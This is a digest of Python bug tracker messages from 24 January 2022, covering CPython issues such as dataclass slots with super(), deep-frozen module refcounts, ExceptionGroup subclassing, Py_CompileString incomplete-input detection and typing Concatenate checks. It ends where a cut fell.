<1643019933.37.0.286770097515.issue46426@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 05:29:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 10:29:59 +0000 Subject: [issue45711] Simplify the interpreter's (type, val, tb) exception representation In-Reply-To: <1636025387.26.0.346517237471.issue45711@roundup.psfhosted.org> Message-ID: <1643020199.52.0.752393011358.issue45711@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +29031 pull_request: https://github.com/python/cpython/pull/30849 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 05:43:44 2022 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 24 Jan 2022 10:43:44 +0000 Subject: [issue46404] 3.11a4: a small attrs regression In-Reply-To: <1642373286.75.0.870897334257.issue46404@roundup.psfhosted.org> Message-ID: <1643021024.57.0.870611136749.issue46404@roundup.psfhosted.org> Petr Viktorin added the comment: I guess at least there should be a warning about this in dataclasses docs? The reproducer with dataclasses (which exhibits the same error on 3.10 and 3.11): import dataclasses @dataclasses.dataclass(slots=True) class A: pass @dataclasses.dataclass(slots=True) class B(A): def test(self): super() B().test() ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 05:51:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 10:51:39 +0000 Subject: [issue38665] Crash when running SQLAlchemy with pyodbc In-Reply-To: <1572631006.11.0.3731179051.issue38665@roundup.psfhosted.org> Message-ID: <1643021499.05.0.3500410584.issue38665@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 06:02:26 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 11:02:26 +0000 Subject: [issue42585] Segmentation fault on Linux with multiprocess queue In-Reply-To: <1607339325.06.0.835049890466.issue42585@roundup.psfhosted.org> Message-ID: <1643022146.8.0.938931621905.issue42585@roundup.psfhosted.org> Irit Katriel added the comment: Python 3.8 is no longer maintained, and there have been changes in this area since then. Please create a new issue if you are having this problem with a more recent python version. To answer you last question, yes - there are platform dependent differences in the behavior of spawn. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 06:05:54 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 11:05:54 +0000 Subject: [issue43333] utf8 in BytesGenerator In-Reply-To: <1614376213.69.0.504043333554.issue43333@roundup.psfhosted.org> Message-ID: <1643022354.42.0.423539391736.issue43333@roundup.psfhosted.org> Irit Katriel added the comment: Are you able to provide a runnable script that reproduces the error? ---------- nosy: +iritkatriel type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 06:08:57 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 24 Jan 2022 11:08:57 +0000 Subject: [issue43683] Handle generator (and coroutine) state in the bytecode. In-Reply-To: <1617209103.34.0.926095267338.issue43683@roundup.psfhosted.org> Message-ID: <1643022537.17.0.0717493057818.issue43683@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 0367a36fdc36b9c909c4d5acf7cde6ceeec0ba69 by Mark Shannon in branch 'main': bpo-43683: Streamline YIELD_VALUE and SEND (GH-30723) https://github.com/python/cpython/commit/0367a36fdc36b9c909c4d5acf7cde6ceeec0ba69 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 06:09:25 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Mon, 24 Jan 2022 11:09:25 +0000 Subject: [issue46422] Why do we need `dis.Positions`? In-Reply-To: <1642509008.04.0.395294321194.issue46422@roundup.psfhosted.org> Message-ID: <1643022565.36.0.646688390719.issue46422@roundup.psfhosted.org> Batuhan Taskaya added the comment: New changeset 58f3d980989c7346ad792d464c1d749dcec6af63 by Nikita Sobolev in branch 'main': bpo-46422: use `dis.Positions` in `dis.Instruction` (GH-30716) https://github.com/python/cpython/commit/58f3d980989c7346ad792d464c1d749dcec6af63 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 06:27:21 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 24 Jan 2022 11:27:21 +0000 Subject: [issue46422] Why do we need `dis.Positions`? In-Reply-To: <1642509008.04.0.395294321194.issue46422@roundup.psfhosted.org> Message-ID: <1643023641.62.0.235615343873.issue46422@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 07:08:18 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 24 Jan 2022 12:08:18 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643026098.04.0.0851183569089.issue46449@roundup.psfhosted.org> Kumar Aditya added the comment: > @Kumar do you want to tackle this? I don't like this approach as it is opposite to what we did to reduce the size of deep-frozen modules to merge them in one file and this approach requires to split it again. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 07:15:31 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 24 Jan 2022 12:15:31 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643026531.23.0.918165857776.issue46449@roundup.psfhosted.org> Christian Heimes added the comment: Do you have an alternative suggestion how to build Python with minimal set of required deepfrozen modules or without any deepfrozen modules at all? A minimal set is not only helpful for Victor's use case. I would also like to use it in WebAssembly builds to reduce the overall file size. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 07:23:03 2022 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 24 Jan 2022 12:23:03 +0000 Subject: [issue22079] Ensure in PyType_Ready() that base class of static type is static In-Reply-To: <1406378199.04.0.952325428414.issue22079@psf.upfronthosting.co.za> Message-ID: <1643026983.39.0.612640816989.issue22079@roundup.psfhosted.org> Petr Viktorin added the comment: > Is there a reason to not add these fields to PyTypeObject? Can't say I haven't thought of that, but AFAIK it would mean breaking the C API substantially. Even if not it'd be a PEP-sized change, IMO. ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 07:40:01 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 24 Jan 2022 12:40:01 +0000 Subject: [issue41906] logging.config.dictConfig does not work with callable filters In-Reply-To: <1601599406.74.0.279190575587.issue41906@roundup.psfhosted.org> Message-ID: <1643028001.14.0.0593072445579.issue41906@roundup.psfhosted.org> miss-islington added the comment: New changeset d7c68639795a576ff58b6479c8bb34c113df3618 by Mario Corchero in branch 'main': bpo-41906: Accept built filters in dictConfig (GH-30756) https://github.com/python/cpython/commit/d7c68639795a576ff58b6479c8bb34c113df3618 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 07:42:07 2022 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 24 Jan 2022 12:42:07 +0000 Subject: [issue41906] logging.config.dictConfig does not work with callable filters In-Reply-To: <1601599406.74.0.279190575587.issue41906@roundup.psfhosted.org> Message-ID: <1643028127.15.0.0379593457403.issue41906@roundup.psfhosted.org> Change by Vinay Sajip : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 07:44:27 2022 From: report at bugs.python.org (Logan Jones) Date: Mon, 24 Jan 2022 12:44:27 +0000 Subject: [issue44733] Feature request: maxtasksperchild for ProcessPoolExecutor In-Reply-To: <1627128881.56.0.324294431588.issue44733@roundup.psfhosted.org> Message-ID: <1643028267.47.0.590003081217.issue44733@roundup.psfhosted.org> Logan Jones added the comment: Based on my reading I?m hopeful that this change can make it in quickly once I find the time. The previous implementation didn?t care how the processes were created. I will look as soon as I can ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 08:00:35 2022 From: report at bugs.python.org (Jean Carlo Machado) Date: Mon, 24 Jan 2022 13:00:35 +0000 Subject: [issue46447] datetime.isoformat() documentation does not point to the risk of using it with naive datetime objects In-Reply-To: <1642713376.42.0.598006047552.issue46447@roundup.psfhosted.org> Message-ID: <1643029235.6.0.119180809673.issue46447@roundup.psfhosted.org> Change by Jean Carlo Machado : ---------- keywords: +patch pull_requests: +29032 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30850 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 08:18:17 2022 From: report at bugs.python.org (rdb) Date: Mon, 24 Jan 2022 13:18:17 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1643030297.59.0.639099559032.issue40280@roundup.psfhosted.org> Change by rdb : ---------- nosy: +rdb _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 08:22:05 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 24 Jan 2022 13:22:05 +0000 Subject: [issue46396] `Concatenate` should not raise any semantic errors In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1643030525.05.0.568180420895.issue46396@roundup.psfhosted.org> Nikita Sobolev added the comment: PR is updated, now `Concatenate` does not raise any semantic errors: https://github.com/python/cpython/pull/30619 ---------- components: +Library (Lib) -Tests title: Typing: test invalid usages of `Concatenate` -> `Concatenate` should not raise any semantic errors _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 08:46:07 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 24 Jan 2022 13:46:07 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1643031967.02.0.726845909773.issue46476@roundup.psfhosted.org> Kumar Aditya added the comment: > Aha. Maybe for now, the memory of immortal code objects can be deallocated in pymain_free(). It's the last function called before Python exit the process. It seems like a viable option for now to only clear them when python is not embedded and in pymain_free. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 09:20:56 2022 From: report at bugs.python.org (Steve Dower) Date: Mon, 24 Jan 2022 14:20:56 +0000 Subject: [issue46463] escape4chm.py script causing AttributeError in docs build In-Reply-To: <1642796275.2.0.890020365688.issue46463@roundup.psfhosted.org> Message-ID: <1643034056.54.0.977469239418.issue46463@roundup.psfhosted.org> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 09:35:59 2022 From: report at bugs.python.org (Steve Dower) Date: Mon, 24 Jan 2022 14:35:59 +0000 Subject: [issue45382] platform() is not able to detect windows 11 In-Reply-To: <1633463037.19.0.965519087659.issue45382@roundup.psfhosted.org> Message-ID: <1643034959.61.0.601908861817.issue45382@roundup.psfhosted.org> Steve Dower added the comment: Yeah, I pushed the machines up to 2022 the other day while tidying the configs. Wouldn't have expected it to impact that issue though, it's fully within OpenSSL, isn't it? (We also updated that recently...) Also, as an FYI, if you use "wmic /output:" then it always writes in utf-16-le with a BOM. It's *very* unlikely you'll ever get output that doesn't fit into MBCS, but if that does ever occur, we can use a temporary file instead of stdout. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 09:42:10 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 14:42:10 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643035330.9.0.425946073453.issue46431@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +29033 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30852 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 09:47:57 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 24 Jan 2022 14:47:57 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1643035677.26.0.995572264898.issue46476@roundup.psfhosted.org> STINNER Victor added the comment: Releasing memory in pymain_free() is a good start! At least it fix the issue for the "python" command. So people running a memory debugger like Valgrind will no longer see any leak at "python" exit. Kumar: Do you want to work on a PR for that? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 09:53:53 2022 From: report at bugs.python.org (wizprokidz) Date: Mon, 24 Jan 2022 14:53:53 +0000 Subject: [issue46501] Windows 10, turtle left right not working Message-ID: <1643036033.59.0.504924509366.issue46501@roundup.psfhosted.org> New submission from wizprokidz : The image of rocket does NOT rotate (on windows 10, python 3.10.2) as it rotates here: https://trinket.io/embed/python/8eb5179d7f turtle.forward() and turtle.backward() are working to move the object sideways. ---------- components: Windows files: spaceAndShip.py messages: 411476 nosy: gregorlingl, paul.moore, steve.dower, tim.golden, willingc, wizprokidz, zach.ware priority: normal severity: normal status: open title: Windows 10, turtle left right not working type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50581/spaceAndShip.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:08:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 24 Jan 2022 15:08:21 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643036901.0.0.0262948424205.issue46449@roundup.psfhosted.org> STINNER Victor added the comment: I don't want to change the default. Keeping fast startup time is a nice goal! I'm asking to make it configurable for my own development workflow: build Python as fast as possible. It is easy to hack Makefile.am.in and Python/frozen.c to freeze less modules. If you want, I can try to work on a patch to make it configurable. Maybe some people want to freeze... *more* modules, rather than less ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:15:42 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 15:15:42 +0000 Subject: [issue5322] object.__new__ argument calling autodetection faulty In-Reply-To: <1235075665.37.0.301694124748.issue5322@psf.upfronthosting.co.za> Message-ID: <1643037342.08.0.0543865936885.issue5322@roundup.psfhosted.org> Irit Katriel added the comment: Can we close this now? >>> class A(object): ... def __new__(self): ... raise TypeError('i do not exist') ... >>> class B(A): ... __new__ = object.__new__ ... def __init__(self, x): ... self.x = x ... >>> B(1) Traceback (most recent call last): File "", line 1, in TypeError: object.__new__() takes exactly one argument (the type to instantiate) >>> ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:17:55 2022 From: report at bugs.python.org (Armin Ronacher) Date: Mon, 24 Jan 2022 15:17:55 +0000 Subject: [issue5322] object.__new__ argument calling autodetection faulty In-Reply-To: <1235075665.37.0.301694124748.issue5322@psf.upfronthosting.co.za> Message-ID: <1643037475.7.0.865663033378.issue5322@roundup.psfhosted.org> Armin Ronacher added the comment: The bug is still there, just that it's now not just a warning but an error. The auto detection is incorrect here. It should allow the instantiation of the object with arguments. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:23:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 15:23:53 +0000 Subject: [issue5322] object.__new__ argument calling autodetection faulty In-Reply-To: <1235075665.37.0.301694124748.issue5322@psf.upfronthosting.co.za> Message-ID: <1643037833.12.0.474024796719.issue5322@roundup.psfhosted.org> Irit Katriel added the comment: Right, I see now. ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.5, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:35:10 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 24 Jan 2022 15:35:10 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1643038510.5.0.540360026637.issue46476@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch pull_requests: +29034 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30853 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:36:13 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 24 Jan 2022 15:36:13 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1643038573.91.0.47332607647.issue46476@roundup.psfhosted.org> Kumar Aditya added the comment: Created PR https://github.com/python/cpython/pull/30853 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:42:15 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 15:42:15 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643038935.81.0.361981698478.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: The error message isn't always this bad: >>> class Base: ... def __new__(cls, a, b, c): ... cls.newargs = (a,b,c) ... ... >>> class Derived(Base): ... def __init__(self, x): ... super().__init__(x) ... self.initargs = (x,) ... >>> Derived(1) Traceback (most recent call last): File "", line 1, in TypeError: Base.__new__() missing 2 required positional arguments: 'b' and 'c' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:43:03 2022 From: report at bugs.python.org (Ken Jin) Date: Mon, 24 Jan 2022 15:43:03 +0000 Subject: [issue46470] `_remove_dups_flatten` in `typing.py` contains dead branch In-Reply-To: <1642846573.38.0.521672483974.issue46470@roundup.psfhosted.org> Message-ID: <1643038983.93.0.473471965566.issue46470@roundup.psfhosted.org> Ken Jin added the comment: New changeset c144d9363107b50bcb0ccd01e7202e26a40c21f0 by Nikita Sobolev in branch 'main': bpo-46470: remove unused branch from `typing._remove_dups_flatten` (GH-30780) https://github.com/python/cpython/commit/c144d9363107b50bcb0ccd01e7202e26a40c21f0 ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:48:56 2022 From: report at bugs.python.org (Mateusz Loskot) Date: Mon, 24 Jan 2022 15:48:56 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" Message-ID: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> New submission from Mateusz Loskot : Something has changed in Python 3.7 through 3.10 (I'm observing it in 3.10) in behaviour of the Python C API function Py_CompileString such that for an incomplete input it no longer raises SyntaxError: "unexpected EOF while parsing" but IndentationError: expected an indented block after ... The new behaviour makes the sample program from the "How do I tell ?incomplete input? from ?invalid input??" at https://docs.python.org/3/faq/extending.html no longer work as described there. For example: ``` for i in []: ``` raises IndentationError: expected an indented block after 'for' statement on line 1 ``` if True: ``` raises IndentationError: expected an indented block after 'if' statement on line 1 instead of SyntaxError: unexpected EOF while parsing This effectively makes it impossible to detect incomplete input using the Py_CompileString in applications where it is not possible to use PyRun_InteractiveLoop. I have failed to identify what could be related changes in the release notes and the documentation does not seem to offer any update on that. So, I'm assuming the new behaviour is not desired or expected. Attached, is the VS 2022 screenshot with debugging session of the sample program from the FAQ presenting the difference in the behaviour between Python 3.6 and 3.10 on Windows. ---------- components: C API files: Py_CompileString-Py36-vs-Py310.png messages: 411484 nosy: mloskot priority: normal severity: normal status: open title: Py_CompileString no longer allows to tell "incomplete input" from "invalid input" versions: Python 3.10 Added file: https://bugs.python.org/file50582/Py_CompileString-Py36-vs-Py310.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 10:51:12 2022 From: report at bugs.python.org (Patric Gustavsson) Date: Mon, 24 Jan 2022 15:51:12 +0000 Subject: [issue46461] Kodi crashing In-Reply-To: <1642786800.75.0.533883695157.issue46461@roundup.psfhosted.org> Message-ID: <1643039472.41.0.00500190689449.issue46461@roundup.psfhosted.org> Patric Gustavsson added the comment: Hi, Its reproducible, but not very fast or easy : 1 Install Ubuntu 21.04 or 21.10 2 Install kodi 19 from ppa : https://launchpad.net/~team-xbmc/+archive/ubuntu/ppa 3 install aeon nox silvo, and customized the skin and kodi settings 4 install plugins youtube,svtplay,retrospect,formula1,DR TV,iplayer www,netflix,Discovery plus, pvr simple client ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:04:20 2022 From: report at bugs.python.org (Ken Jin) Date: Mon, 24 Jan 2022 16:04:20 +0000 Subject: [issue46396] `Concatenate` should not raise any semantic errors In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1643040260.49.0.986017294694.issue46396@roundup.psfhosted.org> Ken Jin added the comment: I'm a little conflicted on this specific use case (but maybe I'm biased because I wrote the checks :). I'm a strong proponent of less runtime checks. However, in this case, the exceptions serve as easy hints to the user, and they're meant to catch the most basic of errors. At the same time they barely add any overhead to our code. Also, the last check may be required so that we can easily support subscripts (due to runtime quirks). I vaguely remember Serhiy mentioning that the semantics for subscripting a Callable[Concatenate[...], ...] is undefined by PEP 612. We were planning to formalize/reject the behavior, but I dropped the ball on that due to a lack of time. If that materializes, we're gonna raise an unclear runtime error about not enough typevars at subscript time anyways, so we might as well clearly tell the user at the start to prevent confusion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:10:16 2022 From: report at bugs.python.org (Ken Jin) Date: Mon, 24 Jan 2022 16:10:16 +0000 Subject: [issue46470] `_remove_dups_flatten` in `typing.py` contains dead branch In-Reply-To: <1642846573.38.0.521672483974.issue46470@roundup.psfhosted.org> Message-ID: <1643040616.88.0.310950047967.issue46470@roundup.psfhosted.org> Change by Ken Jin : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:13:31 2022 From: report at bugs.python.org (Ken Jin) Date: Mon, 24 Jan 2022 16:13:31 +0000 Subject: [issue46494] Mention typing_extensions in the typing documentation In-Reply-To: <1642985496.62.0.269697400688.issue46494@roundup.psfhosted.org> Message-ID: <1643040811.1.0.974355727227.issue46494@roundup.psfhosted.org> Ken Jin added the comment: Yes please, this is a great idea. ---------- keywords: +easy, newcomer friendly _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:18:44 2022 From: report at bugs.python.org (Ken Jin) Date: Mon, 24 Jan 2022 16:18:44 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails In-Reply-To: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> Message-ID: <1643041124.13.0.516871624184.issue46416@roundup.psfhosted.org> Ken Jin added the comment: New changeset eaeb99468045b863d2dd3da3e3d1c3c9c78e1254 by Nikita Sobolev in branch '3.10': [3.10] bpo-46416: Allow direct invocation of `Lib/test/test_typing.py` (GH-30641) (GH-30697) https://github.com/python/cpython/commit/eaeb99468045b863d2dd3da3e3d1c3c9c78e1254 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:22:35 2022 From: report at bugs.python.org (Ken Jin) Date: Mon, 24 Jan 2022 16:22:35 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1643041355.65.0.154684419694.issue45680@roundup.psfhosted.org> Ken Jin added the comment: > Wait... there's still PR 29479 open! Sorry, I was too excited when PR 29335 merged and missed that. In the future, please re-open if you feel I closed an issue wrongly. Thanks! ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:28:59 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 24 Jan 2022 16:28:59 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1643041739.0.0.090265536005.issue45680@roundup.psfhosted.org> Alex Waygood added the comment: > Sorry, I was too excited when PR 29335 merged and missed that. In the future, please re-open if you feel I closed an issue wrongly. Thanks! No worries ? will do! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:33:39 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 24 Jan 2022 16:33:39 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails In-Reply-To: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> Message-ID: <1643042019.71.0.113151231289.issue46416@roundup.psfhosted.org> Christian Heimes added the comment: I noticed that you have been looking into the __main__ block of test modules. Wouldn't it make more sense to just remove the __main__ and have all tests go through regrtest? Everybody should use ./python -m regrtest test_typing or the Windows equivalent to run typing tests. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:37:33 2022 From: report at bugs.python.org (Julien Castiaux) Date: Mon, 24 Jan 2022 16:37:33 +0000 Subject: [issue44637] Quoting issue on header Reply-To and other address headers In-Reply-To: <1626266697.4.0.946779337742.issue44637@roundup.psfhosted.org> Message-ID: <1643042253.78.0.256346033563.issue44637@roundup.psfhosted.org> Julien Castiaux added the comment: Hello there, Friendly reminder that this issue is still open and that there is a pull request ready. We continue to face the issue in production and our customers are getting upset. Can you provide us a schedule when this issue will be addressed? So that we can decide either to wait our to start thinking about possible mitigations our side? Regards, Julien ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:41:12 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 16:41:12 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643042472.37.0.409882298297.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: This is the fix: - if (!PyArg_ParseTuple(args, "UO", &message, &exceptions)) { + if (!PyArg_ParseTuple(args, + "UO:BaseExceptionGroup.__new__", + &message, + &exceptions)) { Then we get TypeError: BaseExceptionGroup.__new__() takes exactly 2 arguments (1 given) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:45:51 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 24 Jan 2022 16:45:51 +0000 Subject: [issue46494] Mention typing_extensions in the typing documentation In-Reply-To: <1642985496.62.0.269697400688.issue46494@roundup.psfhosted.org> Message-ID: <1643042751.72.0.0372828944586.issue46494@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:48:53 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 24 Jan 2022 16:48:53 +0000 Subject: [issue46396] `Concatenate` should not raise any semantic errors In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1643042933.59.0.0549461387468.issue46396@roundup.psfhosted.org> Guido van Rossum added the comment: "When in doubt, the status quo wins." Maybe we should just close this and the PR without merging. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:53:31 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 24 Jan 2022 16:53:31 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643043211.25.0.607235920122.issue46431@roundup.psfhosted.org> Guido van Rossum added the comment: So, a PR with that fix would be nice? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:56:32 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 16:56:32 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1643043392.68.0.595791118005.issue46431@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +29035 pull_request: https://github.com/python/cpython/pull/30854 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:57:44 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 24 Jan 2022 16:57:44 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643043464.84.0.784117299267.issue46449@roundup.psfhosted.org> Guido van Rossum added the comment: I tried to make the 'FROZEN' variable in freeze_modules.py empty, but it has a bunch of places where this is unexpected. Maybe someone can fix that? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 11:59:53 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 24 Jan 2022 16:59:53 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1643043593.06.0.00474961488176.issue46329@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: 